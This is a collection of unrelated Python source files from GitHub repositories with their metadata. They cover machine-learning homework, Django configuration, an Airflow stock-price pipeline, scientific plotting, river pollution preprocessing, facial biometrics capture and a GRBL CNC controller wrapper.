6.5 for d in data]\r\n\r\n# def inner(x,y):\r\n# return sum([x[i]*y[i] for i in range(len(x))])\r\n\r\n# def sigmoid(x):\r\n# return 1.0 / (1 + exp(-x))\r\n\r\n# ##################################################\r\n# # Logistic regression by gradient ascent #\r\n# ##################################################\r\n\r\n# # NEGATIVE Log-likelihood\r\n# def f(theta, X, y, lam):\r\n# loglikelihood = 0\r\n# for i in range(len(X)):\r\n# logit = inner(X[i], theta)\r\n# loglikelihood -= log(1 + exp(-logit))\r\n# if not y[i]:\r\n# loglikelihood -= logit\r\n# for k in range(len(theta)):\r\n# loglikelihood -= lam * theta[k]*theta[k]\r\n# # for debugging\r\n# # print(\"ll =\" + str(loglikelihood))\r\n# return -loglikelihood\r\n\r\n# # NEGATIVE Derivative of log-likelihood\r\n# def fprime(theta, X, y, lam):\r\n# dl = [0]*len(theta)\r\n# for i in range(len(X)):\r\n# logit = inner(X[i], theta)\r\n# for k in range(len(theta)):\r\n# dl[k] += X[i][k] * (1 - sigmoid(logit))\r\n# if not y[i]:\r\n# dl[k] -= X[i][k]\r\n# for k in range(len(theta)):\r\n# dl[k] -= lam*2*theta[k]\r\n# return numpy.array([-x for x in dl])\r\n\r\n# cutlen=len(data)/3\r\n# print(cutlen)\r\n# ranstart=random.sample(range(cutlen),1)[0]\r\n# print(ranstart)\r\n# x_train=X[ranstart:(ranstart+cutlen)]\r\n# y_train=y[ranstart:(ranstart+cutlen)]\r\n# x_valid=X[(ranstart+cutlen):(ranstart+2*cutlen)]\r\n# y_valid=y[(ranstart+cutlen):(ranstart+2*cutlen)]\r\n# x_test=X[(ranstart+2*cutlen):]+X[:ranstart]\r\n# y_test=y[(ranstart+2*cutlen):]+y[:ranstart]\r\n\r\n# ##################################################\r\n# # Train #\r\n# ##################################################\r\n\r\n# def train(lam):\r\n# theta,_,_ = scipy.optimize.fmin_l_bfgs_b(f, [0]*len(X[0]), fprime, pgtol = 10, args = (x_train, y_train, lam))\r\n# return theta\r\n\r\n# ##################################################\r\n# # Predict #\r\n# ##################################################\r\n\r\n# def performance(theta):\r\n# res_train = [inner(theta,x) for x in x_train]\r\n# res_valid = [inner(theta,x) for x in x_valid]\r\n# res_test = [inner(theta,x) for x in x_test]\r\n\r\n# pred_train = [s > 0 for s in res_train]\r\n# pred_valid = [s > 0 for s in res_valid]\r\n# pred_test = [s > 0 for s in res_test]\r\n\r\n# correct_train = [(a==b) for (a,b) in zip(pred_train,y_train)]\r\n# correct_valid = [(a==b) for (a,b) in zip(pred_valid,y_valid)]\r\n# correct_test = [(a==b) for (a,b) in zip(pred_test,y_test)]\r\n\r\n# acc_train = sum(correct_train) * 1.0 / len(correct_train)\r\n# acc_valid = sum(correct_valid) * 1.0 / len(correct_valid)\r\n# acc_test = sum(correct_test) * 1.0 / len(correct_test)\r\n# return acc_train, acc_valid, acc_test\r\n\r\n# ##################################################\r\n# # Validation pipeline #\r\n# ##################################################\r\n\r\n# lam = 0\r\n# theta = train(lam)\r\n# acc_train, acc_valid, acc_test = performance(theta)\r\n# print(\"train=\" + str(acc_train))\r\n# print(\"valid=\" + str(acc_valid))\r\n# print(\"test=\" + str(acc_test))","repo_name":"bosicheng/CSE258","sub_path":"homework2.py","file_name":"homework2.py","file_ext":"py","file_size_in_byte":6811,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"39930301582","text":"import sys\nsys.path.insert(0,'..')\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nfrom setutil import tblprnt\n\nfrom setutil import PARAMS,SUMMARY,Particle,Proton,dictprnt,DEBUG\n\ndef test2D(X,Y,Z):\n from matplotlib.ticker import MaxNLocator\n from matplotlib.colors import BoundaryNorm\n znp = np.array(Z)\n levels = MaxNLocator(nbins=15).tick_values(znp.min(), znp.max())\n cmap = plt.get_cmap('PiYG')\n norm = BoundaryNorm(levels, ncolors=cmap.N, clip=True)\n X = [X[i]*1.e3 for i in range(len(X))]\n Y = [Y[i]*1.e-6 for i in range(len(Y))]\n\n ## plot\n fig = plt.figure()\n ax = plt.subplot(111)\n pos = ax.contourf(X, Y, Z, cmap=cmap, norm=norm)\n fig.colorbar(pos, ax=ax)\n ax.set_title(title)\n ax.set_xlabel('gap [mm]')\n ax.set_ylabel('f [MHz]')\n plt.show(block=False)\n\ndef test3D(X,Y,Z):\n from mpl_toolkits.mplot3d import Axes3D\n from matplotlib import cm\n fig = plt.figure()\n ax = fig.add_subplot(111,projection='3d')\n surf = ax.plot_surface(X, Y, Z, cmap=cm.coolwarm,linewidth=0, antialiased=False)\n fig.colorbar(surf, shrink=0.5, aspect=5)\n ax.set_title(title)\n plt.show(block=False)\nif __name__ == '__main__':\n tk = 100.\n tk = 0.1\n gap = 0.044\n fRF = 816.e6\n fRF = 40.e6\n anz = 50\n particle = Proton(tk)\n title = 'ttf for {} with tkin[MeV] {:4.1f}'.format(particle.name,particle.tkin)\n x = gapi = [0.01+i*(2.*gap/anz) for i in range(anz+1)]\n # x = [x[i]*1.e3 for i in range(len(x))]\n # y = fRFi = [100.e6 + i*(fRF/anz) for i in range(anz+1)]\n y = fRFi = [20.e6 + i*(fRF/anz) for i in range(anz+1)]\n X,Y = np.meshgrid(x,y)\n Z = [[particle.trtf(a,b) for a in x] for b in y]\n\n test2D(X,Y,Z)\n # test3D(X,Y,Z)\n","repo_name":"wdklotz/simulinac","sub_path":"py_tests/ttrf.py","file_name":"ttrf.py","file_ext":"py","file_size_in_byte":1732,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"17845535992","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom pathlib import Path\nimport unicodedata\nimport string\nimport torch\nfrom torch.utils.data import Dataset, DataLoader\nfrom torch.nn.utils.rnn import pad_sequence\nimport pandas as pd\nimport numpy as np\n\n\ndef unicode2ascii(text, all_chars):\n normalized = unicodedata.normalize('NFD', text)\n chars = [c for c in normalized if unicodedata.category(c) != 'Mn' and c in all_chars]\n return ''.join(chars)\n\n\ndef encode_str(text, c2i):\n text = [c2i[t] for t in text]\n return text\n\n\ndef pad_collate(batch):\n x, y = zip(*batch)\n lens = torch.LongTensor([len(i) for i in x])\n x_padded = pad_sequence(x, batch_first=True, padding_value=0)\n y = torch.LongTensor(y)\n _, perm_idx = lens.sort(0, descending=True)\n return x_padded[perm_idx], y[perm_idx], lens[perm_idx]\n\n\ndef pad_collate_test(batch):\n x = batch\n lens = torch.LongTensor([len(i) for i in x])\n x_padded = pad_sequence(x, batch_first=True, padding_value=0)\n return x_padded, lens\n\n\nclass NameDataset(Dataset):\n all_chars = string.ascii_letters + \"-\"\n\n def __init__(self, df, l2i=None):\n super().__init__()\n # mappings\n self.c2i = {c: i+1 for i, c in enumerate(self.all_chars)}\n self.c2i['_'] = 0\n self.i2c = {i: c for i, c in self.c2i.items()}\n self.n_chars = len(self.all_chars)\n\n all_names = df['name']\n all_countries = df['country']\n\n # label mapping\n if l2i is None:\n self.l2i = {l: i for i, l in enumerate(set(sorted(all_countries)))}\n else:\n self.l2i = l2i\n self.i2l = {i: l for l, i in self.l2i.items()}\n\n self.x = [torch.LongTensor(encode_str(n, self.c2i)) for n in all_names]\n self.y = [self.l2i[c] for c in all_countries]\n\n def __getitem__(self, index):\n return self.x[index], self.y[index]\n\n def __len__(self):\n return len(self.x)\n\n\nclass TestDataset(Dataset):\n all_chars = string.ascii_letters + \"-\"\n\n def __init__(self, all_names, maxlen=32):\n super().__init__()\n # mappings\n self.c2i = {c: i+1 for i, c in enumerate(self.all_chars)}\n self.c2i['_'] = 0\n self.i2c = {i: c for i, c in self.c2i.items()}\n self.n_chars = len(self.all_chars)\n\n self.x = [torch.LongTensor(encode_str(n, self.c2i)) for n in all_names]\n\n def __getitem__(self, index):\n return self.x[index]\n\n def __len__(self):\n return len(self.x)\n\n\ndef get_test_loader(names):\n ds = TestDataset(names)\n return DataLoader(ds, batch_size=32, collate_fn=pad_collate_test, shuffle=False)\n\n\ndef dir2df(root_dir, all_chars=None):\n if all_chars is None:\n all_chars = string.ascii_letters + \"-\"\n\n # find all text files\n p = Path(root_dir)\n files = [str(f) for f in p.rglob(\"*.txt\")]\n text_files = sorted(files)\n\n all_names = []\n all_countries = []\n # read all files\n for file in text_files:\n country = file.split('/')[-1].split('.')[0]\n with open(file, 'r') as f:\n text = f.read()\n names = [unicode2ascii(n, all_chars) for n in text.split('\\n')]\n names = [n for n in names if len(n) > 0]\n all_names += names\n all_countries += [country] * len(names)\n\n\n l2i = {l: i for i, l in enumerate(set(sorted(all_countries)))}\n df = pd.DataFrame({'name': all_names, 'country': all_countries})\n return df, l2i\n\n\ndef get_datasets(root_dir, split_size=0.8):\n df, l2i = dir2df(root_dir)\n size_1 = int(len(df) * split_size)\n index = np.arange(len(df))\n np.random.shuffle(index)\n index_1, index_2 = index[:size_1], index[size_1:]\n df_1, df_2 = df.iloc[index_1], df.iloc[index_2]\n ds_1, ds_2 = NameDataset(df_1, l2i), NameDataset(df_2, l2i)\n return ds_1, ds_2\n\n\ndef get_loaders(root_dir, batch_size):\n ds_1, ds_2 = get_datasets(root_dir)\n dl_1 = DataLoader(ds_1, batch_size, collate_fn=pad_collate, shuffle=True)\n dl_2 = DataLoader(ds_2, batch_size * 2, collate_fn=pad_collate, shuffle=False)\n return dl_1, dl_2\n","repo_name":"se-kami/NLP","sub_path":"name-classification-rnn/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":4064,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"36749596992","text":"from django.urls import path\nfrom ecart import views\nfrom rest_framework.routers import DefaultRouter\nrouter=DefaultRouter()\nrouter.register(\"categories\",views.CategoryView,basename=\"categories\")\nrouter.register(\"account\",views.UsersView,basename=\"signup\")\nrouter.register(\"products\",views.ProductsView,basename=\"product\")\nrouter.register(\"carts\",views.CartView,basename=\"cart\")\n\nurlpatterns = [\n\n\n]+router.urls\n","repo_name":"edwinraphael/ecart","sub_path":"ecart/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":412,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"70633132248","text":"def rangeBitwiseAnd(m: int, n: int) -> int:\n while n > m:\n n = n & (n - 1)\n return m & n\n\ndef rangeBitwiseAnd2(m: int, n: int) -> int:\n i = 0\n while(m != n):\n m >>= 1\n n >>= 1\n i += 1\n return n << i","repo_name":"Damoy/AlgoTraining","sub_path":"LeetCode/BitwiseAndRange.py","file_name":"BitwiseAndRange.py","file_ext":"py","file_size_in_byte":241,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"29462150272","text":"import exoscale\nimport os\nimport signal\nimport time as timer\n\n\n#setting enviromental variables\nos.environ[\"EXOSCALE_API_KEY\"] = os.environ[\"EXOSCALE_KEY\"]\nos.environ[\"EXOSCALE_API_SECRET\"] = os.environ[\"EXOSCALE_SECRET\"]\ninstancePoolId = os.environ['EXOSCALE_INSTANCEPOOL_ID']\nzone = os.environ['EXOSCALE_ZONE']\ntargetPort = os.environ['TARGET_PORT']\n\nclass SignalHandler:\n termSignal = False\n def __init__(self):\n signal.signal(signal.SIGTERM, self.exitProcess)\n\n def exitProcess(self):\n self.termSignal = True\n\n\nhandler = SignalHandler\n\nwhile not handler.termSignal:\n # Get Exoscale instance\n exoscaleConnection = exoscale.Exoscale()\n exoscaleZone = exoscaleConnection.compute.get_zone(zone)\n\n instances = list(exoscaleConnection.compute.get_instance_pool(instancePoolId, exoscaleZone).instances)\n instanceIPv4Addresses = list()\n\n for instance in instances:\n if instance.state == \"running\":\n instanceIPv4Addresses.append(\"\\\"\" + instance.ipv4_address + \":\" + str(targetPort) + \"\\\"\")\n\n # Write file for prometheus targets\n targetsFile = open(\"/prometheus/targets.json\", \"w\")\n targetsFile.write(\"[{\\\"targets\\\": [\" + (\", \".join(instanceIPv4Addresses)) + \"]}]\")\n targetsFile.close()\n\n # Write file for required path\n targetsFileConfig = open(\"/srv/service-discovery/config.json\", \"w\")\n targetsFileConfig.write(\"[{\\\"targets\\\": [\" + (\", \".join(instanceIPv4Addresses)) + \"]}]\")\n targetsFileConfig.close()\n\n timer.sleep(10)\n","repo_name":"SirRacuga/CCP","sub_path":"servicediscovery/serviceDiscovery.py","file_name":"serviceDiscovery.py","file_ext":"py","file_size_in_byte":1489,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"14384789119","text":"from airflow import DAG\nfrom airflow.utils.dates import days_ago\nfrom airflow.operators.python_operator import PythonOperator\nfrom airflow.operators.bash_operator import BashOperator\nfrom datetime import timedelta, date, datetime\nimport yfinance as yf\nimport os\n\n\nstock_dag = DAG(\n dag_id='MarketVol',\n schedule_interval=\"30 2 * * 1-5\",\n start_date=days_ago(1)\n)\n\n\ntmp_folder_task = BashOperator(\n task_id='create_tmp_folder',\n bash_command=\"mkdir -p ${AIRFLOW_HOME}/tmp/data/`date +'%Y-%m-%d'`\",\n dag=stock_dag\n)\n\n\ndef fetch_price(**kwargs):\n start_date = date.today()\n print(start_date)\n end_date = start_date + timedelta(days=1)\n print(end_date)\n df = yf.download(kwargs['ticker'], start=start_date,\n end=end_date, interval='1m')\n df.to_csv(\n \"{}/tmp/data/{}/{}.csv\".format(os.getcwd(), start_date, kwargs['ticker']))\n\n\ntesla_price_task = PythonOperator(\n task_id='download_telsa_price',\n python_callable=fetch_price,\n op_kwargs={'ticker': 'TSLA'},\n dag=stock_dag,\n retries=3,\n retry_delay=5,\n)\n\n\napple_price_task = PythonOperator(\n task_id='download_apple_price',\n python_callable=fetch_price,\n op_kwargs={'ticker': 'AAPL'},\n dag=stock_dag,\n retries=3,\n retry_delay=5,\n)\n\n\ntesla_analyze_task = BashOperator(\n task_id='tesla_price_analyzer',\n bash_command='python ${AIRFLOW_HOME}/script/stock_analyzer.py --symbol TSLA',\n dag=stock_dag\n)\n\n\napple_analyze_task = BashOperator(\n task_id='apple_price_analyzer',\n bash_command='python ${AIRFLOW_HOME}/script/stock_analyzer.py --symbol AAPL',\n dag=stock_dag\n)\n\n\nerror_log_task = BashOperator(\n task_id='error_log_analyzer',\n bash_command='python ${AIRFLOW_HOME}/script/log_analyzer.py -p ${AIRFLOW_HOME}/logs/MarketVol -v 0',\n dag=stock_dag\n)\n\ntmp_folder_task >> [tesla_price_task, apple_price_task]\ntesla_price_task >> tesla_analyze_task\napple_price_task >> apple_analyze_task\n[tesla_analyze_task, apple_analyze_task] >> error_log_task\n","repo_name":"biglala89/Stock_Analytical_Pipeline_with_Airflow","sub_path":"airflow/dags/stock_dags.py","file_name":"stock_dags.py","file_ext":"py","file_size_in_byte":2010,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"42163768058","text":"import pickle\r\nfrom osgeo import gdal\r\nimport numpy\r\nimport pandas\r\nimport os\r\n\r\nfrom src.library import graph_functions\r\nfrom src.library import shapefile_raster_functions\r\n\r\n\r\n\r\ndirectory = os.path.join(os.getcwd(), 'data')\r\n\r\n# input locations\r\ndata_location = os.path.join(directory, \"Wilkinson_z_normalized_adapted.csv\")\r\nreference_raster_location = os.path.join(directory, \"reference_raster.tif\")\r\ngraph_location = os.path.join(directory, \"river_graph.pkl\")\r\n\r\n# temp locations\r\nriver_raster_location = \"data/Rrivers_from_graph.tif\"\r\ntemp_discharge_location = \"disch.tif\"\r\n\r\n# output location\r\noutput_name = os.path.join(directory, \"pollution_observed_adapted.csv\")\r\n\r\n# split coordinates into two columns\r\ndata = pandas.read_csv(data_location)\r\ndata['latitude'] = 0\r\ndata['longitude'] = 0\r\nfor i in range(len(data)):\r\n coordinates = data['Coord'].iloc[i]\r\n coordinates = coordinates.split(',')\r\n data['latitude'].iloc[i] = float(coordinates[0])\r\n data['longitude'].iloc[i] = float(coordinates[1])\r\n\r\n# put the observation points into an indicator raster according to their location\r\nreference_raster = gdal.Open(reference_raster_location)\r\ndischarge_array = numpy.zeros([reference_raster.RasterYSize, reference_raster.RasterXSize])\r\nrows, columns = numpy.shape(discharge_array)\r\ndf_entries = len(data)\r\npixel_loc = numpy.zeros([df_entries]) - 10\r\n\r\nfor j in range(df_entries):\r\n i = df_entries - j - 1 # allows for dropping elements without skipping over numbers\r\n long, lat = data['longitude'].loc[i], data['latitude'].loc[i]\r\n lat_nr, long_nr = shapefile_raster_functions.give_pixel([lat, long], reference_raster)\r\n found = False\r\n if data['pollutant'][i] > -1: # excludes nans\r\n if 0 <= lat_nr <= rows:\r\n if 0 <= long_nr <= columns:\r\n found = True\r\n discharge_array[lat_nr, long_nr] = 1\r\n pixel_loc[i] = lat_nr*columns + long_nr\r\n if not found:\r\n data = data.drop(data.index[i])\r\npixel_loc_list = []\r\nfor i in range(df_entries):\r\n if pixel_loc[i] > -1:\r\n pixel_loc_list.append(pixel_loc[i])\r\n\r\n# pixel_loc_list links the order of appearance of observations in the raster to that of the dataframe. This allows us\r\n# to copy information from the old locations to the new locations\r\ndata['index'] = pixel_loc_list\r\n\r\ntemp_discharge_raster = gdal.GetDriverByName('GTiff').Create(temp_discharge_location, reference_raster.RasterXSize,\r\n reference_raster.RasterYSize, 1, gdal.GDT_Byte)\r\ntemp_discharge_raster.GetRasterBand(1).WriteArray(discharge_array)\r\ntemp_discharge_raster.SetProjection(reference_raster.GetProjectionRef())\r\ntemp_discharge_raster.SetGeoTransform(reference_raster.GetGeoTransform())\r\ntemp_discharge_raster = None\r\n\r\n# find closest river points\r\ngraph_functions.print_graph(graph_location, [], reference_raster_location, river_raster_location)\r\nriver_discharge = shapefile_raster_functions.find_discharge(temp_discharge_location, river_raster_location, maximum_radius=3, precision=0.5)\r\nriver_discharge = river_discharge.transpose()\r\n\r\n# move observation points to closest river\r\nrows, columns = numpy.shape(river_discharge)\r\nriver_discharge = river_discharge.flatten()\r\ndischarge_array = discharge_array.flatten()\r\npixel_locations = []\r\npollution_data = []\r\nlatitudes = []\r\nlongitudes = []\r\nindex = -1\r\n\r\nopen_graph = open(graph_location, \"rb\")\r\nriver_graph = pickle.load(open_graph)\r\nopen_graph.close()\r\n\r\nfor i in range(len(discharge_array)):\r\n is_lake = True\r\n if discharge_array[i] == 1: # if there is an observation point\r\n index += 1\r\n coordinates = river_discharge[i]\r\n if coordinates != ['none found']: # if there is a river close to the observation point\r\n pixel_number = coordinates[1] * columns + coordinates[0] # write the observation point\r\n if pixel_number in river_graph:\r\n while is_lake: # move the observation point to the end of a lake, if it is in one.\r\n is_lake = False\r\n if river_graph.nodes[pixel_number][\"lakes\"] > 0:\r\n is_lake = True\r\n child = list(river_graph.successors(pixel_number))\r\n try:\r\n pixel_number = child[0]\r\n except IndexError:\r\n break\r\n\r\n pixel_locations.append(pixel_number)\r\n location = data['index'] == i\r\n pollution = data['pollutant'][location]\r\n pollution_data.append(pollution.iat[0])\r\n longitude = data['longitude'][location]\r\n longitudes.append(longitude.iat[0])\r\n latitude = data['latitude'][location]\r\n latitudes.append(latitude.iat[0])\r\n\r\n# write output\r\ndf = pandas.DataFrame()\r\ndf['locations'] = pixel_locations\r\ndf['contaminant'] = pollution_data\r\ndf['longitude'] = longitudes\r\ndf['latitude'] = latitudes\r\n\r\ndf.to_csv(output_name)\r\n","repo_name":"icra/wOtter","sub_path":"src/7.2. create_observed_cont.py","file_name":"7.2. create_observed_cont.py","file_ext":"py","file_size_in_byte":5053,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"20424091985","text":"'''\n'''\n\nimport os\n\nfrom helper.textool import get_tmp_file\n# from pygraphviz import Digraph\n\n# from graphviz import Digraph, Graph\n\nimport pygraphviz as pgv\n\nG = pgv.AGraph(directed=True, rankdir=\"LR\", size=[8, 5], concentrate=True)\n# g = Graph(format='png')\n# dot = Digraph()\n# dot.format = 'png'\n#\n#\n# dot = Digraph(comment='The Round Table')\n\ncfg = {\n 'shape': 'box',\n 'fixedsize': True,\n 'style': 'rounded,filled',\n 'width': 2,\n 'fontname': 'Arial',\n 'fontsize': 10,\n 'concentrate': True,\n}\n# for node_name in ['python3-shapely', 'python3-mapnik', 'python3-pyproj', 'python3-fiona', 'python3-mpltoolkits.basemap',\n# 'python3-gdal']:\n# G.add_node(node_name, fillcolor=\"#a0ffa0\", **cfg)\n#\n# cfg['style'] = 'filled'\n# for node_name in ['spatialite-bin', 'mapnik-utils', 'proj-bin', 'gdal-bin']:\n# G.add_node(node_name, fillcolor=\"#ffa0a0\", **cfg)\n#\n# for node_name in ['libgdal20', 'libproj12', 'libgeos-c1v5', 'libspatialite7', 'libmapnik3.0']:\n# G.add_node(node_name, fillcolor=\"#eeeeee\", **cfg)\n\nG.add_edge('Mapnik', 'datasource')\nG.add_edge('datasource', 'Geospatial Data/Database')\n\nG.layout(prog='dot') # default to neato\nG.draw(get_tmp_file(__file__, '1', file_ext='pdf'))\nG.draw(get_tmp_file(__file__, '1', file_ext='png'))\n","repo_name":"bukun/book_python_gis","sub_path":"part010/ch07_mapnik/sec3_datasource/test_fig_mapnik_datasource.py","file_name":"test_fig_mapnik_datasource.py","file_ext":"py","file_size_in_byte":1286,"program_lang":"python","lang":"en","doc_type":"code","stars":180,"dataset":"github-code","pt":"31"} +{"seq_id":"20613005217","text":"import socket\nimport cv2\nimport numpy as np\nimport datetime\nimport navigator\n\ndef recvall(sock, stop):\n chunks = []\n bytes_recd = 0\n data = \"\"\n while bytes_recd < stop:\n chunk = sock.recv(min((stop-bytes_recd, 2048)))\n if chunk == '':\n raise RuntimeError(\"No Connection\")\n bytes_recd += len(chunk)\n chunks.append(chunk)\n return \"\".join(chunks)\n\n\ndef main():\n #create an INET, STREAMing socket\n s = socket.socket(\n socket.AF_INET, socket.SOCK_STREAM)\n #now connect to the web server on port 80\n # - the normal http port\n addr =\"192.168.1.104\"\n port = 8888\n s.connect((addr, port))\n #s.connect((\"130.58.194.209\",43))\n print(\"Connected\")\n chunks = []\n bytes_recd = 0\n center = None\n message = \"\"\n while message != \"HANGUP\":\n try:\n s.send(\"IMG\")\n image_size = int(recvall(s, 128))\n s.send(\"DATA\")\n message = recvall(s, image_size)\n nparr = np.fromstring(message, np.uint8)\n image = cv2.imdecode(nparr, cv2.CV_LOAD_IMAGE_COLOR)\n #image = cv2.flip(image,1)\n if not center:\n print(\"looking for center\")\n center, rad = navigator.find_circs(image)\n else:\n #iage = cv2.flip(image, 1)\n gci = navigator.operate_on(image, center, rad, 5)\n cv2.imshow('frame', gci)\n cv2.imshow('frame2', image)\n #print(\"decoded at {}\".format(datetime.datetime.now()))\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n except KeyboardInterrupt:\n s.send(\"STOP\")\n print (\"Remote end sent HANGUP signal, closing\")\n cv2.destroyAllWindows()\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"surlyengineer/e90","sub_path":"imag_client.py","file_name":"imag_client.py","file_ext":"py","file_size_in_byte":1799,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"21895607977","text":"import sys\nimport os\n\nfrom facial_recognition import Face_biometry\nimport pickle\n\n\ndef dumb(*args, **kwargs):\n\tpass\n\n\ndef main(username):\n\tcurrent_dir = f\"gathered_photos/{username}\"\n\tdir_inside = 0\n\n\ttry:\n\t\tos.mkdir(current_dir)\n\texcept:\n\t\tdir_list = [int(i) for i in os.listdir(current_dir)]\n\t\tdir_inside = max(dir_list) + 1 if dir_list else dir_inside\n\t\tprint(\"QUERO DORMIR RAFA\")\n\n\tfinal_dir = f\"{current_dir}/{dir_inside}/\"\n\n\tos.mkdir(final_dir)\n\n\tface_biometry = Face_biometry(ws=dumb, path_save=final_dir)\n\tfeatures = face_biometry.get_facial_features(number_faces=14)\n\twith open(f\"{final_dir}/features\", 'wb') as file:\n\t\tfile.write(pickle.dumps(features))\n\n\nif __name__ == '__main__':\n\tusername = sys.argv[1]\n\n\tmain(username=username)\n","repo_name":"oEscal/zkp-user-centric-biometric-id-mgmt","sub_path":"solution/helper/biometric_systems/facial/gather_photos.py","file_name":"gather_photos.py","file_ext":"py","file_size_in_byte":743,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"10557298415","text":"from django.urls import path\n\nfrom .views import VistaRegistro, salir,acceder\n\n# include to use the urls defined in the app blog specific in the file urls.py\n\nurlpatterns = [\n path('registro/', VistaRegistro.as_view(), name=\"registro\"),\n path('acceder/', acceder, name=\"acceder\"),\n path('salir/', salir, name=\"salir\")\n]\n","repo_name":"JonnHenry/First-steps-Django","sub_path":"app/auntenticacion/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":329,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"4615284703","text":"from django.contrib import admin\n\nfrom .models import Service_list, Service_photos, Service_text\n\nclass ServiceListAdmin(admin.ModelAdmin):\n list_display = ('id', 'title', 'description')\n list_display_links = ('id', 'title', 'description')\nadmin.site.register(Service_list, ServiceListAdmin)\n\nclass ServiceTextAdmin(admin.ModelAdmin):\n list_display = ('id', 'title', 'subtitle', 'phone', 'description',)\n list_display_links = ('id', 'title', 'description')\nadmin.site.register(Service_text, ServiceTextAdmin)\n\nclass ServicePhotosAdmin(admin.ModelAdmin):\n list_display = ('id', 'title', 'is_published', 'description', 'photo_main', 'photo_1', 'photo_2', 'photo_3')\n list_display_links = ('id', 'title', 'description')\n list_filter = ('photo_1', )\n list_editable = ('is_published',)\n search_fields = ('title', 'description')\n list_per_page = 20\nadmin.site.register(Service_photos, ServicePhotosAdmin)","repo_name":"desi-123/homecare","sub_path":"services/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":904,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"39829969959","text":"#export HDF5_USE_FILE_LOCKING=FALSE\nfrom csr import caesar\nimport yt\n#import astroconda\nimport h5py\nimport matplotlib.pyplot as plt\nimport matplotlib.cm as cm\nimport math\nimport numpy as np\n\nplt.rcParams['xtick.top']=True\nplt.rcParams['xtick.direction']='in'\nplt.rcParams['xtick.minor.visible']=True\nplt.rcParams['xtick.major.size']=5.4\nplt.rcParams['xtick.minor.size']=3\nplt.rcParams['xtick.major.width']=1.6\nplt.rcParams['xtick.minor.width']=1.2\nplt.rcParams['ytick.right']=True\nplt.rcParams['ytick.direction']='in'\nplt.rcParams['ytick.minor.visible']=True\nplt.rcParams['ytick.major.size']=5.4\nplt.rcParams['ytick.minor.size']=3\nplt.rcParams['ytick.major.width']=1.6\nplt.rcParams['ytick.minor.width']=1.2\n\n#objective: mass of each galaxy vs SFR\n# y axis SFR, x axis stellar mass\ninfile='/home/s1746414/shp/m100n1024_151.hdf5'\nobj=caesar.load(infile)\n#returns found galaxies and found halos\n\nfig=plt.figure(figsize=(6,5))\nax=plt.subplot()\nax.set_xlabel(\"$\\\\mathrm{log_{10}\\\\left(M_{\\\\star}/M_{\\\\odot}\\\\right)}$\")\nax.set_ylabel(\"$\\\\mathrm{log_{10}\\\\left(SFR/M_{\\\\odot}yr^{-1}\\\\right)}$\")\n\nx=np.log10([i.mass for i in obj.galaxies])\ny=np.log10([j.sfr for j in obj.galaxies])\n\nplt.xlim(8.5,11.5)\nplt.ylim(-4,2)\n\nplt.scatter(x,y,s=1,c='black',alpha=0.1)\n\nplt.savefig(\"sfrvm.png\",bbox_inches=\"tight\",overwrite=True)\nplt.show()\n","repo_name":"gavrodge/shp","sub_path":"sfms.py","file_name":"sfms.py","file_ext":"py","file_size_in_byte":1323,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"9055506300","text":"import serial\nimport time\n\n'''\nA wrapper class to send high-level commands to a GRBL\nCNC controller.\n'''\nclass grbl:\n def __init__( self, portname):\n # Initialize the serial port\n print('Connecting grbl to port: ' + portname)\n self.portname = portname\n self.port = serial.Serial(portname, 115200)\n \n def wake(self):\n self.port.write(b'\\r\\n\\r\\n')\n time.sleep(2)\n self.port.flushInput()\n\n def unlock(self):\n print(\"Unlocking machine\")\n self.port.write(b'$X\\n')\n grbl_out = self.port.readline()\n print('Response: ' + grbl_out.decode().strip())\n\n def home(self):\n print('Homing machine')\n self.port.write(b'$H\\n')\n grbl_out = self.port.readline()\n print('Response: ' + grbl_out.decode().strip())\n\n def goTo(self, x_pos, y_pos, z_pos):\n command = 'G0 X{} Y{} Z{} G4P0\\n'.format(x_pos, y_pos, z_pos)\n print('Sending: ' + command.rstrip())\n self.port.write(command.encode())\n grbl_out = self.port.readline()\n print('Response: ' + grbl_out.decode().strip())\n\n def goToSpeed(self, x_pos, y_pos, z_pos, speed):\n command = 'G1 X{} Y{} Z{} F{}\\n'.format(x_pos, y_pos, z_pos, speed)\n self.port.write(command.strip().encode())\n grbl_out = self.port.readline()\n print('Response: ' + grbl_out.decode().strip())\n\n def runFile(self, filename):\n # Open the gcode file\n f = open(filename, 'r')\n \n # make sure GRBL is awake\n self.wake()\n self.unlock() \n\n #Stream each line of the file\n for line in f:\n l = line.strip()\n print( 'Sending: ' + l )\n self.port.write((l + ' G4P0\\n').encode())\n grbl_out = port.readline()\n print('Response: ' + str(grbl_out).strip())\n \n # close the file\n f.close()\n\n def close(self):\n 